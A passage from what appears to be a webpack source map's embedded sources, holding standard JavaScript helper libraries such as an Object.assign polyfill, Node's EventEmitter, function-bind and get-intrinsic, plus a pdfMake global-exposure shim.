< props.length; i += 1) {\n\t\tdefineProperty(object, props[i], map[props[i]], predicates[props[i]]);\n\t}\n};\n\ndefineProperties.supportsDescriptors = !!supportsDescriptors;\n\nmodule.exports = defineProperties;\n","/**\n * Code refactored from Mozilla Developer Network:\n * https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/assign\n */\n\n'use strict';\n\nfunction assign(target, firstSource) {\n if (target === undefined || target === null) {\n throw new TypeError('Cannot convert first argument to object');\n }\n\n var to = Object(target);\n for (var i = 1; i < arguments.length; i++) {\n var nextSource = arguments[i];\n if (nextSource === undefined || nextSource === null) {\n continue;\n }\n\n var keysArray = Object.keys(Object(nextSource));\n for (var nextIndex = 0, len = keysArray.length; nextIndex < len; nextIndex++) {\n var nextKey = keysArray[nextIndex];\n var desc = Object.getOwnPropertyDescriptor(nextSource, nextKey);\n if (desc !== undefined && desc.enumerable) {\n to[nextKey] = nextSource[nextKey];\n }\n }\n }\n return to;\n}\n\nfunction polyfill() {\n if (!Object.assign) {\n Object.defineProperty(Object, 'assign', {\n enumerable: false,\n configurable: true,\n writable: true,\n value: assign\n });\n }\n}\n\nmodule.exports = {\n assign: assign,\n polyfill: polyfill\n};\n","// Copyright Joyent, Inc. and other Node contributors.\n//\n// Permission is hereby granted, free of charge, to any person obtaining a\n// copy of this software and associated documentation files (the\n// \"Software\"), to deal in the Software without restriction, including\n// without limitation the rights to use, copy, modify, merge, publish,\n// distribute, sublicense, and/or sell copies of the Software, and to permit\n// persons to whom the Software is furnished to do so, subject to the\n// following conditions:\n//\n// The above copyright notice and this permission notice shall be included\n// in all copies or substantial portions of the Software.\n//\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN\n// NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,\n// DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR\n// OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE\n// USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n'use strict';\n\nvar R = typeof Reflect === 'object' ? Reflect : null\nvar ReflectApply = R && typeof R.apply === 'function'\n ? R.apply\n : function ReflectApply(target, receiver, args) {\n return Function.prototype.apply.call(target, receiver, args);\n }\n\nvar ReflectOwnKeys\nif (R && typeof R.ownKeys === 'function') {\n ReflectOwnKeys = R.ownKeys\n} else if (Object.getOwnPropertySymbols) {\n ReflectOwnKeys = function ReflectOwnKeys(target) {\n return Object.getOwnPropertyNames(target)\n .concat(Object.getOwnPropertySymbols(target));\n };\n} else {\n ReflectOwnKeys = function ReflectOwnKeys(target) {\n return Object.getOwnPropertyNames(target);\n };\n}\n\nfunction ProcessEmitWarning(warning) {\n if (console && console.warn) console.warn(warning);\n}\n\nvar NumberIsNaN = Number.isNaN || function NumberIsNaN(value) {\n return value !== value;\n}\n\nfunction EventEmitter() {\n EventEmitter.init.call(this);\n}\nmodule.exports = EventEmitter;\nmodule.exports.once = once;\n\n// Backwards-compat with node 0.10.x\nEventEmitter.EventEmitter = EventEmitter;\n\nEventEmitter.prototype._events = undefined;\nEventEmitter.prototype._eventsCount = 0;\nEventEmitter.prototype._maxListeners = undefined;\n\n// By default EventEmitters will print a warning if more than 10 listeners are\n// added to it. This is a useful default which helps finding memory leaks.\nvar defaultMaxListeners = 10;\n\nfunction checkListener(listener) {\n if (typeof listener !== 'function') {\n throw new TypeError('The \"listener\" argument must be of type Function. Received type ' + typeof listener);\n }\n}\n\nObject.defineProperty(EventEmitter, 'defaultMaxListeners', {\n enumerable: true,\n get: function() {\n return defaultMaxListeners;\n },\n set: function(arg) {\n if (typeof arg !== 'number' || arg < 0 || NumberIsNaN(arg)) {\n throw new RangeError('The value of \"defaultMaxListeners\" is out of range. It must be a non-negative number. Received ' + arg + '.');\n }\n defaultMaxListeners = arg;\n }\n});\n\nEventEmitter.init = function() {\n\n if (this._events === undefined ||\n this._events === Object.getPrototypeOf(this)._events) {\n this._events = Object.create(null);\n this._eventsCount = 0;\n }\n\n this._maxListeners = this._maxListeners || undefined;\n};\n\n// Obviously not all Emitters should be limited to 10. This function allows\n// that to be increased. Set to zero for unlimited.\nEventEmitter.prototype.setMaxListeners = function setMaxListeners(n) {\n if (typeof n !== 'number' || n < 0 || NumberIsNaN(n)) {\n throw new RangeError('The value of \"n\" is out of range. It must be a non-negative number. Received ' + n + '.');\n }\n this._maxListeners = n;\n return this;\n};\n\nfunction _getMaxListeners(that) {\n if (that._maxListeners === undefined)\n return EventEmitter.defaultMaxListeners;\n return that._maxListeners;\n}\n\nEventEmitter.prototype.getMaxListeners = function getMaxListeners() {\n return _getMaxListeners(this);\n};\n\nEventEmitter.prototype.emit = function emit(type) {\n var args = [];\n for (var i = 1; i < arguments.length; i++) args.push(arguments[i]);\n var doError = (type === 'error');\n\n var events = this._events;\n if (events !== undefined)\n doError = (doError && events.error === undefined);\n else if (!doError)\n return false;\n\n // If there is no 'error' event listener then throw.\n if (doError) {\n var er;\n if (args.length > 0)\n er = args[0];\n if (er instanceof Error) {\n // Note: The comments on the `throw` lines are intentional, they show\n // up in Node's output if this results in an unhandled exception.\n throw er; // Unhandled 'error' event\n }\n // At least give some kind of context to the user\n var err = new Error('Unhandled error.' + (er ? ' (' + er.message + ')' : ''));\n err.context = er;\n throw err; // Unhandled 'error' event\n }\n\n var handler = events[type];\n\n if (handler === undefined)\n return false;\n\n if (typeof handler === 'function') {\n ReflectApply(handler, this, args);\n } else {\n var len = handler.length;\n var listeners = arrayClone(handler, len);\n for (var i = 0; i < len; ++i)\n ReflectApply(listeners[i], this, args);\n }\n\n return true;\n};\n\nfunction _addListener(target, type, listener, prepend) {\n var m;\n var events;\n var existing;\n\n checkListener(listener);\n\n events = target._events;\n if (events === undefined) {\n events = target._events = Object.create(null);\n target._eventsCount = 0;\n } else {\n // To avoid recursion in the case that type === \"newListener\"! Before\n // adding it to the listeners, first emit \"newListener\".\n if (events.newListener !== undefined) {\n target.emit('newListener', type,\n listener.listener ? listener.listener : listener);\n\n // Re-assign `events` because a newListener handler could have caused the\n // this._events to be assigned to a new object\n events = target._events;\n }\n existing = events[type];\n }\n\n if (existing === undefined) {\n // Optimize the case of one listener. Don't need the extra array object.\n existing = events[type] = listener;\n ++target._eventsCount;\n } else {\n if (typeof existing === 'function') {\n // Adding the second element, need to change to array.\n existing = events[type] =\n prepend ? [listener, existing] : [existing, listener];\n // If we've already got an array, just append.\n } else if (prepend) {\n existing.unshift(listener);\n } else {\n existing.push(listener);\n }\n\n // Check for listener leak\n m = _getMaxListeners(target);\n if (m > 0 && existing.length > m && !existing.warned) {\n existing.warned = true;\n // No error code for this since it is a Warning\n // eslint-disable-next-line no-restricted-syntax\n var w = new Error('Possible EventEmitter memory leak detected. ' +\n existing.length + ' ' + String(type) + ' listeners ' +\n 'added. Use emitter.setMaxListeners() to ' +\n 'increase limit');\n w.name = 'MaxListenersExceededWarning';\n w.emitter = target;\n w.type = type;\n w.count = existing.length;\n ProcessEmitWarning(w);\n }\n }\n\n return target;\n}\n\nEventEmitter.prototype.addListener = function addListener(type, listener) {\n return _addListener(this, type, listener, false);\n};\n\nEventEmitter.prototype.on = EventEmitter.prototype.addListener;\n\nEventEmitter.prototype.prependListener =\n function prependListener(type, listener) {\n return _addListener(this, type, listener, true);\n };\n\nfunction onceWrapper() {\n if (!this.fired) {\n this.target.removeListener(this.type, this.wrapFn);\n this.fired = true;\n if (arguments.length === 0)\n return this.listener.call(this.target);\n return this.listener.apply(this.target, arguments);\n }\n}\n\nfunction _onceWrap(target, type, listener) {\n var state = { fired: false, wrapFn: undefined, target: target, type: type, listener: listener };\n var wrapped = onceWrapper.bind(state);\n wrapped.listener = listener;\n state.wrapFn = wrapped;\n return wrapped;\n}\n\nEventEmitter.prototype.once = function once(type, listener) {\n checkListener(listener);\n this.on(type, _onceWrap(this, type, listener));\n return this;\n};\n\nEventEmitter.prototype.prependOnceListener =\n function prependOnceListener(type, listener) {\n checkListener(listener);\n this.prependListener(type, _onceWrap(this, type, listener));\n return this;\n };\n\n// Emits a 'removeListener' event if and only if the listener was removed.\nEventEmitter.prototype.removeListener =\n function removeListener(type, listener) {\n var list, events, position, i, originalListener;\n\n checkListener(listener);\n\n events = this._events;\n if (events === undefined)\n return this;\n\n list = events[type];\n if (list === undefined)\n return this;\n\n if (list === listener || list.listener === listener) {\n if (--this._eventsCount === 0)\n this._events = Object.create(null);\n else {\n delete events[type];\n if (events.removeListener)\n this.emit('removeListener', type, list.listener || listener);\n }\n } else if (typeof list !== 'function') {\n position = -1;\n\n for (i = list.length - 1; i >= 0; i--) {\n if (list[i] === listener || list[i].listener === listener) {\n originalListener = list[i].listener;\n position = i;\n break;\n }\n }\n\n if (position < 0)\n return this;\n\n if (position === 0)\n list.shift();\n else {\n spliceOne(list, position);\n }\n\n if (list.length === 1)\n events[type] = list[0];\n\n if (events.removeListener !== undefined)\n this.emit('removeListener', type, originalListener || listener);\n }\n\n return this;\n };\n\nEventEmitter.prototype.off = EventEmitter.prototype.removeListener;\n\nEventEmitter.prototype.removeAllListeners =\n function removeAllListeners(type) {\n var listeners, events, i;\n\n events = this._events;\n if (events === undefined)\n return this;\n\n // not listening for removeListener, no need to emit\n if (events.removeListener === undefined) {\n if (arguments.length === 0) {\n this._events = Object.create(null);\n this._eventsCount = 0;\n } else if (events[type] !== undefined) {\n if (--this._eventsCount === 0)\n this._events = Object.create(null);\n else\n delete events[type];\n }\n return this;\n }\n\n // emit removeListener for all listeners on all events\n if (arguments.length === 0) {\n var keys = Object.keys(events);\n var key;\n for (i = 0; i < keys.length; ++i) {\n key = keys[i];\n if (key === 'removeListener') continue;\n this.removeAllListeners(key);\n }\n this.removeAllListeners('removeListener');\n this._events = Object.create(null);\n this._eventsCount = 0;\n return this;\n }\n\n listeners = events[type];\n\n if (typeof listeners === 'function') {\n this.removeListener(type, listeners);\n } else if (listeners !== undefined) {\n // LIFO order\n for (i = listeners.length - 1; i >= 0; i--) {\n this.removeListener(type, listeners[i]);\n }\n }\n\n return this;\n };\n\nfunction _listeners(target, type, unwrap) {\n var events = target._events;\n\n if (events === undefined)\n return [];\n\n var evlistener = events[type];\n if (evlistener === undefined)\n return [];\n\n if (typeof evlistener === 'function')\n return unwrap ? [evlistener.listener || evlistener] : [evlistener];\n\n return unwrap ?\n unwrapListeners(evlistener) : arrayClone(evlistener, evlistener.length);\n}\n\nEventEmitter.prototype.listeners = function listeners(type) {\n return _listeners(this, type, true);\n};\n\nEventEmitter.prototype.rawListeners = function rawListeners(type) {\n return _listeners(this, type, false);\n};\n\nEventEmitter.listenerCount = function(emitter, type) {\n if (typeof emitter.listenerCount === 'function') {\n return emitter.listenerCount(type);\n } else {\n return listenerCount.call(emitter, type);\n }\n};\n\nEventEmitter.prototype.listenerCount = listenerCount;\nfunction listenerCount(type) {\n var events = this._events;\n\n if (events !== undefined) {\n var evlistener = events[type];\n\n if (typeof evlistener === 'function') {\n return 1;\n } else if (evlistener !== undefined) {\n return evlistener.length;\n }\n }\n\n return 0;\n}\n\nEventEmitter.prototype.eventNames = function eventNames() {\n return this._eventsCount > 0 ? ReflectOwnKeys(this._events) : [];\n};\n\nfunction arrayClone(arr, n) {\n var copy = new Array(n);\n for (var i = 0; i < n; ++i)\n copy[i] = arr[i];\n return copy;\n}\n\nfunction spliceOne(list, index) {\n for (; index + 1 < list.length; index++)\n list[index] = list[index + 1];\n list.pop();\n}\n\nfunction unwrapListeners(arr) {\n var ret = new Array(arr.length);\n for (var i = 0; i < ret.length; ++i) {\n ret[i] = arr[i].listener || arr[i];\n }\n return ret;\n}\n\nfunction once(emitter, name) {\n return new Promise(function (resolve, reject) {\n function errorListener(err) {\n emitter.removeListener(name, resolver);\n reject(err);\n }\n\n function resolver() {\n if (typeof emitter.removeListener === 'function') {\n emitter.removeListener('error', errorListener);\n }\n resolve([].slice.call(arguments));\n };\n\n eventTargetAgnosticAddListener(emitter, name, resolver, { once: true });\n if (name !== 'error') {\n addErrorHandlerIfEventEmitter(emitter, errorListener, { once: true });\n }\n });\n}\n\nfunction addErrorHandlerIfEventEmitter(emitter, handler, flags) {\n if (typeof emitter.on === 'function') {\n eventTargetAgnosticAddListener(emitter, 'error', handler, flags);\n }\n}\n\nfunction eventTargetAgnosticAddListener(emitter, name, listener, flags) {\n if (typeof emitter.on === 'function') {\n if (flags.once) {\n emitter.once(name, listener);\n } else {\n emitter.on(name, listener);\n }\n } else if (typeof emitter.addEventListener === 'function') {\n // EventTarget does not have `error` event semantics like Node\n // EventEmitters, we do not listen for `error` events here.\n emitter.addEventListener(name, function wrapListener(arg) {\n // IE does not have builtin `{ once: true }` support so we\n // have to do it manually.\n if (flags.once) {\n emitter.removeEventListener(name, wrapListener);\n }\n listener(arg);\n });\n } else {\n throw new TypeError('The \"emitter\" argument must be of type EventEmitter. Received type ' + typeof emitter);\n }\n}\n","var ___EXPOSE_LOADER_IMPORT___ = require(\"-!./pdfMake.js\");\nvar ___EXPOSE_LOADER_GET_GLOBAL_THIS___ = require(\"../../node_modules/expose-loader/dist/runtime/getGlobalThis.js\");\nvar ___EXPOSE_LOADER_GLOBAL_THIS___ = ___EXPOSE_LOADER_GET_GLOBAL_THIS___;\nif (typeof ___EXPOSE_LOADER_GLOBAL_THIS___[\"pdfMake\"] === 'undefined') ___EXPOSE_LOADER_GLOBAL_THIS___[\"pdfMake\"] = ___EXPOSE_LOADER_IMPORT___;\nmodule.exports = ___EXPOSE_LOADER_IMPORT___;\n","\"use strict\";\n\n// eslint-disable-next-line func-names\nmodule.exports = function () {\n if (typeof globalThis === \"object\") {\n return globalThis;\n }\n\n var g;\n\n try {\n // This works if eval is allowed (see CSP)\n // eslint-disable-next-line no-new-func\n g = this || new Function(\"return this\")();\n } catch (e) {\n // This works if the window reference is available\n if (typeof window === \"object\") {\n return window;\n } // This works if the self reference is available\n\n\n if (typeof self === \"object\") {\n return self;\n } // This works if the global reference is available\n\n\n if (typeof global !== \"undefined\") {\n return global;\n }\n }\n\n return g;\n}();","\nvar hasOwn = Object.prototype.hasOwnProperty;\nvar toString = Object.prototype.toString;\n\nmodule.exports = function forEach (obj, fn, ctx) {\n if (toString.call(fn) !== '[object Function]') {\n throw new TypeError('iterator must be a function');\n }\n var l = obj.length;\n if (l === +l) {\n for (var i = 0; i < l; i++) {\n fn.call(ctx, obj[i], i, obj);\n }\n } else {\n for (var k in obj) {\n if (hasOwn.call(obj, k)) {\n fn.call(ctx, obj[k], k, obj);\n }\n }\n }\n};\n\n","'use strict';\n\n/* eslint no-invalid-this: 1 */\n\nvar ERROR_MESSAGE = 'Function.prototype.bind called on incompatible ';\nvar slice = Array.prototype.slice;\nvar toStr = Object.prototype.toString;\nvar funcType = '[object Function]';\n\nmodule.exports = function bind(that) {\n var target = this;\n if (typeof target !== 'function' || toStr.call(target) !== funcType) {\n throw new TypeError(ERROR_MESSAGE + target);\n }\n var args = slice.call(arguments, 1);\n\n var bound;\n var binder = function () {\n if (this instanceof bound) {\n var result = target.apply(\n this,\n args.concat(slice.call(arguments))\n );\n if (Object(result) === result) {\n return result;\n }\n return this;\n } else {\n return target.apply(\n that,\n args.concat(slice.call(arguments))\n );\n }\n };\n\n var boundLength = Math.max(0, target.length - args.length);\n var boundArgs = [];\n for (var i = 0; i < boundLength; i++) {\n boundArgs.push('$' + i);\n }\n\n bound = Function('binder', 'return function (' + boundArgs.join(',') + '){ return binder.apply(this,arguments); }')(binder);\n\n if (target.prototype) {\n var Empty = function Empty() {};\n Empty.prototype = target.prototype;\n bound.prototype = new Empty();\n Empty.prototype = null;\n }\n\n return bound;\n};\n","'use strict';\n\nvar implementation = require('./implementation');\n\nmodule.exports = Function.prototype.bind || implementation;\n","'use strict';\n\nvar undefined;\n\nvar $SyntaxError = SyntaxError;\nvar $Function = Function;\nvar $TypeError = TypeError;\n\n// eslint-disable-next-line consistent-return\nvar getEvalledConstructor = function (expressionSyntax) {\n\ttry {\n\t\treturn $Function('\"use strict\"; return (' + expressionSyntax + ').constructor;')();\n\t} catch (e) {}\n};\n\nvar $gOPD = Object.getOwnPropertyDescriptor;\nif ($gOPD) {\n\ttry {\n\t\t$gOPD({}, '');\n\t} catch (e) {\n\t\t$gOPD = null; // this is IE 8, which has a broken gOPD\n\t}\n}\n\nvar throwTypeError = function () {\n\tthrow new $TypeError();\n};\nvar ThrowTypeError = $gOPD\n\t? (function () {\n\t\ttry {\n\t\t\t// eslint-disable-next-line no-unused-expressions, no-caller, no-restricted-properties\n\t\t\targuments.callee; // IE 8 does not throw here\n\t\t\treturn throwTypeError;\n\t\t} catch (calleeThrows) {\n\t\t\ttry {\n\t\t\t\t// IE 8 throws on Object.getOwnPropertyDescriptor(arguments, '')\n\t\t\t\treturn $gOPD(arguments, 'callee').get;\n\t\t\t} catch (gOPDthrows) {\n\t\t\t\treturn throwTypeError;\n\t\t\t}\n\t\t}\n\t}())\n\t: throwTypeError;\n\nvar hasSymbols = require('has-symbols')();\n\nvar getProto = Object.getPrototypeOf || function (x) { return x.__proto__; }; // eslint-disable-line no-proto\n\nvar needsEval = {};\n\nvar TypedArray = typeof Uint8Array === 'undefined' ? undefined : getProto(Uint8Array);\n\nvar INTRINSICS = {\n\t'%AggregateError%': typeof AggregateError === 'undefined' ? undefined : AggregateError,\n\t'%Array%': Array,\n\t'%ArrayBuffer%': typeof ArrayBuffer === 'undefined' ? undefined : ArrayBuffer,\n\t'%ArrayIteratorPrototype%': hasSymbols ? getProto([][Symbol.iterator]()) : undefined,\n\t'%AsyncFromSyncIteratorPrototype%': undefined,\n\t'%AsyncFunction%': needsEval,\n\t'%AsyncGenerator%': needsEval,\n\t'%AsyncGeneratorFunction%': needsEval,\n\t'%AsyncIteratorPrototype%': needsEval,\n\t'%Atomics%': typeof Atomics === 'undefined' ? undefined : Atomics,\n\t'%BigInt%': typeof BigInt === 'undefined' ? undefined : BigInt,\n\t'%Boolean%': Boolean,\n\t'%DataView%': typeof DataView === 'undefined' ? undefined : DataView,\n\t'%Date%': Date,\n\t'%decodeURI%': decodeURI,\n\t'%decodeURIComponent%': decodeURIComponent,\n\t'%encodeURI%': encodeURI,\n\t'%encodeURIComponent%': encodeURIComponent,\n\t'%Error%': Error,\n\t'%eval%': eval, // eslint-disable-line no-eval\n\t'%EvalError%': EvalError,\n\t'%Float32Array%': typeof Float32Array === 'undefined' ? undefined : Float32Array,\n\t'%Float64Array%': typeof Float64Array === 'undefined' ? undefined : Float64Array,\n\t'%FinalizationRegistry%': typeof FinalizationRegistry === 'undefined' ? undefined : FinalizationRegistry,\n\t'%Function%': $Function,\n\t'%GeneratorFunction%': needsEval,\n\t'%Int8Array%': typeof Int8Array === 'undefined' ? undefined : Int8Array,\n\t'%Int16Array%': typeof Int16Array === 'undefined' ? undefined : Int16Array,\n\t'%Int32Array%': typeof Int32Array === 'undefined' ? undefined : Int32Array,\n\t'%isFinite%': isFinite,\n\t'%isNaN%': isNaN,\n\t'%IteratorPrototype%': hasSymbols ? getProto(getProto([][Symbol.iterator]())) : undefined,\n\t'%JSON%': typeof JSON === 'object' ? JSON : undefined,\n\t'%Map%': typeof Map === 'undefined' ? undefined : Map,\n\t'%MapIteratorPrototype%': typeof Map === 'undefined' || !hasSymbols ? undefined : getProto(new Map()[Symbol.iterator]()),\n\t'%Math%': Math,\n\t'%Number%': Number,\n\t'%Object%': Object,\n\t'%parseFloat%': parseFloat,\n\t'%parseInt%': parseInt,\n\t'%Promise%': typeof Promise === 'undefined' ? undefined : Promise,\n\t'%Proxy%': typeof Proxy === 'undefined' ? undefined : Proxy,\n\t'%RangeError%': RangeError,\n\t'%ReferenceError%': ReferenceError,\n\t'%Reflect%': typeof Reflect === 'undefined' ? undefined : Reflect,\n\t'%RegExp%': RegExp,\n\t'%Set%': typeof Set === 'undefined' ? undefined : Set,\n\t'%SetIteratorPrototype%': typeof Set === 'undefined' || !hasSymbols ? undefined : getProto(new Set()[Symbol.iterator]()),\n\t'%SharedArrayBuffer%': typeof SharedArrayBuffer === 'undefined' ? undefined : SharedArrayBuffer,\n\t'%String%': String,\n\t'%StringIteratorPrototype%': hasSymbols ? getProto(''[Symbol.iterator]()) : undefined,\n\t'%Symbol%': hasSymbols ? Symbol : undefined,\n\t'%SyntaxError%': $SyntaxError,\n\t'%ThrowTypeError%': ThrowTypeError,\n\t'%TypedArray%': TypedArray,\n\t'%TypeError%': $TypeError,\n\t'%Uint8Array%': typeof Uint8Array === 'undefined' ? undefined : Uint8Array,\n\t'%Uint8ClampedArray%': typeof Uint8ClampedArray === 'undefined' ? undefined : Uint8ClampedArray,\n\t'%Uint16Array%': typeof Uint16Array === 'undefined' ? undefined : Uint16Array,\n\t'%Uint32Array%': typeof Uint32Array === 'undefined' ? undefined : Uint32Array,\n\t'%URIError%': URIError,\n\t'%WeakMap%': typeof WeakMap === 'undefined' ? undefined : WeakMap,\n\t'%WeakRef%': typeof WeakRef === 'undefined' ? undefined : WeakRef,\n\t'%WeakSet%': typeof WeakSet === 'undefined' ? undefined : WeakSet\n};\n\nvar doEval = function doEval(name) {\n\tvar value;\n\tif (name === '%AsyncFunction%') {\n\t\tvalue = getEvalledConstructor('async function () {}');\n\t} else if (name === '%GeneratorFunction%') {\n\t\tvalue = getEvalledConstructor('function* () {}');\n\t} else if (name === '%AsyncGeneratorFunction%') {\n\t\tvalue = getEvalledConstructor('async function* () {}');\n\t} else if (name === '%AsyncGenerator%') {\n\t\tvar fn = doEval('%AsyncGeneratorFunction%');\n\t\tif (fn) {\n\t\t\tvalue = fn.prototype;\n\t\t}\n\t} else if (name === '%AsyncIteratorPrototype%') {\n\t\tvar gen = doEval('%AsyncGenerator%');\n\t\tif (gen) {\n\t\t\tvalue = getProto(gen.prototype);\n\t\t}\n\t}\n\n\tINTRINSICS[name] = value;\n\n\treturn value;\n};\n\nvar LEGACY_ALIASES = {\n\t'%ArrayBufferPrototype%': ['ArrayBuffer', 'prototype'],\n\t'%ArrayPrototype%': ['Array', 'prototype'],\n\t'%ArrayProto_entries%': ['Array', 'prototype', 'entries'],\n\t'%ArrayProto_forEach%': ['Array', 'prototype', 'forEach'],\n\t'%ArrayProto_keys%': ['Array', 'prototype', 'keys'],\n\t'%ArrayProto_values%': ['Array', 'prototype', 'values'],\n\t'%AsyncFunctionPrototype%': ['AsyncFunction', 'prototype'],\n\t'%AsyncGenerator%': ['AsyncGeneratorFunction', 'prototype'],\n\t'%AsyncGeneratorPrototype%': ['AsyncGeneratorFunction', 'prototype', 'prototype'],\n\t'%BooleanPrototype%': ['Boolean', 'prototype'],\n\t'%DataViewPrototype%': ['DataView', 'prototype'],\n\t'%DatePrototype%': ['Date', 'prototype'],\n\t'%ErrorPrototype%': ['Error', 'prototype'],\n\t'%EvalErrorPrototype%': ['EvalError', 'prototype'],\n\t'%Float32ArrayPrototype%': ['Float32Array', 'prototype'],\n\t'%Float64ArrayPrototype%': ['Float64Array', 'prototype'],\n\t'%FunctionPrototype%': ['Function', 'prototype'],\n\t'%Generator%': ['GeneratorFunction', 'prototype'],\n\t'%GeneratorPrototype%': ['GeneratorFunction', 'prototype', 'prototype'],\n\t'%Int8ArrayPrototype%': ['Int8Array', 'prototype'],\n\t'%Int16ArrayPrototype%': ['Int16Array', 'prototype'],\n\t'%Int32ArrayPrototype%': ['Int32Array', 'prototype'],\n\t'%JSONParse%': ['JSON', 'parse'],\n\t'%JSONStringify%': ['JSON', 'stringify'],\n\t'%MapPrototype%': ['Map', 'prototype'],\n\t'%NumberPrototype%': ['Number', 'prototype'],\n\t'%ObjectPrototype%': ['Object', 'prototype'],\n\t'%ObjProto_toString%': ['Object', 'prototype', 'toString'],\n\t'%ObjProto_valueOf%': ['Object', 'prototype', 'valueOf'],\n\t'%PromisePrototype%': ['Promise', 'prototype'],\n\t'%PromiseProto_then%': ['Promise', 'prototype', 'then'],\n\t'%Promise_all%': ['Promise', 'all'],\n\t'%Promise_reject%': ['Promise', 'reject'],\n\t'%Promise_resolve%': ['Promise', 'resolve'],\n\t'%RangeErrorPrototype%': ['RangeError', 'prototype'],\n\t'%ReferenceErrorPrototype%': ['ReferenceError', 'prototype'],\n\t'%RegExpPrototype%': ['RegExp', 'prototype'],\n\t'%SetPrototype%': ['Set', 'prototype'],\n\t'%SharedArrayBufferPrototype%': ['SharedArrayBuffer', 'prototype'],\n\t'%StringPrototype%': ['String', 'prototype'],\n\t'%SymbolPrototype%': ['Symbol', 'prototype'],\n\t'%SyntaxErrorPrototype%': ['SyntaxError', 'prototype'],\n\t'%TypedArrayPrototype%': ['TypedArray', 'prototype'],\n\t'%TypeErrorPrototype%': ['TypeError', 'prototype'],\n\t'%Uint8ArrayPrototype%': ['Uint8Array', 'prototype'],\n\t'%Uint8ClampedArrayPrototype%': ['Uint8ClampedArray', 'prototype'],\n\t'%Uint16ArrayPrototype%': ['Uint16Array', 'prototype'],\n\t'%Uint32ArrayPrototype%': ['Uint32Array', 'prototype'],\n\t'%URIErrorPrototype%': ['URIError', 'prototype'],\n\t'%WeakMapPrototype%': ['WeakMap', 'prototype'],\n\t'%WeakSetPrototype%': ['WeakSet', 'prototype']\n};\n\nvar bind = require('function-bind');\nvar hasOwn = require('has');\nvar $concat = bind.call(Function.call, Array.prototype.concat);\nvar $spliceApply = bind.call(Function.apply, Array.prototype.splice);\nvar $replace = bind.call(Function.call, String.prototype.replace);\nvar $strSlice = bind.call(Function.call, String.prototype.slice);\n\n/* adapted from https://github.com/lodash/lodash/blob/4.17.15/dist/lodash.js#L6735-L6744 */\nvar rePropName = /[^%.[\\]]+|\\[(?:(-?\\d+(?:\\.\\d+)?)|([\"'])((?:(?!\\2)[^\\\\]|\\\\.)*?)\\2)\\]|(?=(?:\\.|\\[\\])(?:\\.|\\[\\]|%$))/g;\nvar reEscapeChar = /\\\\(\\\\)?/g; /** Used to match backslashes in property paths. */\nvar stringToPath = function stringToPath(string) {\n\tvar first = $strSlice(string, 0, 1);\n\tvar last = $strSlice(string, -1);\n\tif (first === '%' && last !== '%') {\n\t\tthrow new $SyntaxError('invalid intrinsic syntax, expected closing `%`');\n\t} else if (last === '%' && first !== '%') {\n\t\tthrow new $SyntaxError('invalid intrinsic syntax, expected opening `%`');\n\t}\n\tvar result = [];\n\t$replace(string, rePropName, function (match, number, quote, subString) {\n\t\tresult[result.length] = quote ? $replace(subString, reEscapeChar, '$1') : number || match;\n\t});\n\treturn result;\n};\n/* end adaptation */\n\nvar getBaseIntrinsic = function getBaseIntrinsic(name, allowMissing) {\n\tvar intrinsicName = name;\n\tvar alias;\n\tif (hasOwn(LEGACY_ALIASES, intrinsicName)) {\n\t\talias = LEGACY_ALIASES[intrinsicName];\n\t\tintrinsicName = '%' + alias[0] + '%';\n\t}\n\n\tif (hasOwn(INTRINSICS, intrinsicName)) {\n\t\tvar value = INTRINSICS[intrinsicName];\n\t\tif (value === needsEval) {\n\t\t\tvalue = doEval(intrinsicName);\n\t\t}\n\t\tif (typeof value === 'undefined' && !allowMissing) {\n\t\t\tthrow new $TypeError('intrinsic ' + name + ' exists, but is not available. Please file an issue!');\n\t\t}\n\n\t\treturn {\n\t\t\talias: alias,\n\t\t\tname: intrinsicName,\n\t\t\tvalue: value\n\t\t};\n\t}\n\n\tthrow new $SyntaxError('intrinsic ' + name + ' does not exist!');\n};\n\nmodule.exports = function GetIntrinsic(name, allowMissing) {\n\tif (typeof name !== 'string' || name.length === 0) {\n\t\tthrow new $TypeError('intrinsic name must be a non-empty string');\n\t}\n\tif (arguments.length > 1 && typeof allowMissing !== 'boolean') {\n\t\tthrow new $TypeError('\"allowMissing\" argument must be a boolean');\n\t}\n\n\tvar parts = stringToPath(name);\n\tvar intrinsicBaseName = parts.length > 0 ? parts[0] : '';\n\n\tvar intrinsic = getBaseIntrinsic('%' + intrinsicBaseName + '%', allowMissing);\n\tvar intrinsicRealName = intrinsic.name;\n\tvar value = intrinsic.value;\n\tvar skipFurtherCaching = false;\n\n\tvar alias = intrinsic.alias;\n\tif (alias) {\n\t\tintrinsicBaseName = alias[0];\n\t\t$spliceApply(parts, $concat([0, 1], alias));\n\t}\n\n\tfor (var i = 1, isOwn = true; i < parts.length; i += 1) {\n\t\tvar part = parts[i];\n\t\tvar first = $strSlice(part, 0, 1);\n\t\tvar last = $strSlice(part, -1);\n\t\tif (\n\t\t\t(\n\t\t\t\t(first === '\"' || first === \"'\" || first === '`')\n\t\t\t\t|| (last === '\"' || last === \"'\" || last === '`')\n\t\t\t)\n\t\t\t&& first !== last\n\t\t) {\n\t\t\tthrow new $SyntaxError('property names with quotes must have matching quotes');\n\t\t}\n\t\tif (part === 'constructor' || !isOwn) {\n\t\t\tskipFurtherCaching = true;\n\t\t}\n\n\t\tintrinsicBaseName += '.' + part;\n\t\tintrinsicRealName = '%' + intrinsicBaseName + '%';\n\n\t\tif (hasOwn(INTRINSICS, intrinsicRealName)) {\n\t\t\tvalue = INTRINSICS[intrinsicRealName];\n\t\t} else if (value != null) {\n\t\t\tif (!(part in value)) {\n\t\t\t\tif (!allowMissing) {\n\t\t\t\t\tthrow new $TypeError('base intrinsic for ' + name + ' exists, but the property is not available.');\n\t\t\t\t}\n\t\t\t\treturn void undefined;\n\t\t\t}\n\t\t\tif ($gOPD && (i + 1) >= parts.length) {\n\t\t\t\tvar desc = $gOPD(value, part);\n\t\t\t\tisOwn = !!desc;\n\n\t\t\t\t// By convention, when a data property is converted to an 